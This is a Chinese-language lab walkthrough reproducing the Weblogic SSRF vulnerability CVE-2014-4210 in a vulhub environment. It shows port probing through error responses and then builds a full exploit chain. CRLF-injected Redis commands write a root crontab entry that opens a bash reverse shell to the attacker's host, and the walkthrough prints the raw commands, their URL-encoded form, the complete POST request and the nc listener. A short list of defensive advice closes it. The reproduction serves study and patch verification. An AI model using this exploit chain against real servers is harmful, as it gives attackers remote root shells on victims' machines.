Weblogic SSRF(CVE-2014-4210)漏洞复现
字数 1061 2025-08-10 17:51:46
Weblogic SSRF漏洞(CVE-2014-4210)复现与分析
1. 漏洞概述
Weblogic中存在一个SSRF(Server-Side Request Forgery)漏洞,攻击者可以利用该漏洞发送任意HTTP请求,进而攻击内网中的redis、fastcgi等脆弱组件。
2. 漏洞等级
- 高危
3. 影响版本
- Weblogic 10.0.2 - 10.3.6版本
4. 环境准备
4.1 所需工具
- VMware环境
- vulhub的weblogic漏洞环境
- Kali Linux (攻击机IP: 192.168.175.144)
- Redis容器 (IP: 172.22.0.2)
5. 漏洞复现步骤
5.1 漏洞位置
SSRF漏洞存在于以下URL:
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
5.2 初步探测
- 使用Burp Suite测试该漏洞
- 观察
operator参数的值,它会请求一个URL - 测试可访问的IP:PORT组合,如
http://127.0.0.1:80 - 根据返回错误信息判断端口状态:
- 可访问的端口会返回特定错误
- 不可访问的端口会返回不同错误
5.3 内网探测
通过错误响应的差异,可以探测内网状态。
5.4 利用Redis反弹Shell
- 通过
%0a%0d注入换行符(某些服务如redis通过换行符分隔命令) - 首先探测内网中的redis服务器(docker环境通常使用172.*网段)
- 发现可连通的redis服务器(如172.21.0.2:6739)
5.5 构造Redis命令
发送以下三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.175.144/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
5.6 URL编码
将上述命令进行URL编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.175.144%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意: 换行符是\r\n,即%0D%0A
5.7 构造攻击请求
将编码后的字符串放在SSRF的域名后面发送:
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.175.144:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 426
Origin: http://192.168.175.144:7001
Connection: close
Referer: http://192.168.175.144:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=; JSESSIONID=pcpfjgqKz9mgmBbn331r6xGrsQhszNlGpbYMyvcQG0Jhm5v1Qp2H!-798273750
Upgrade-Insecure-Requests: 1
operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.175.144%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atacoking&txtSearchname=&txtSearchkey=&rdoSearch=for&txtSearchfor=&selfor=Business+location&btnSubmit=Search
5.8 监听反弹Shell
在Kali上监听21端口:
nc -lvnp 21
成功获取反弹shell。
6. 其他可利用的cron位置
/etc/crontab- 主要目标/etc/cron.d/*- 将任意文件写入该目录,效果与crontab相同- 优点: 不覆盖其他文件
/var/spool/cron/root- CentOS系统下root用户的cron文件/var/spool/cron/crontabs/root- Debian系统下root用户的cron文件
7. 防御建议
- 升级Weblogic到最新版本
- 限制内网服务的访问权限
- 对uddiexplorer组件进行访问控制
- 监控异常的网络请求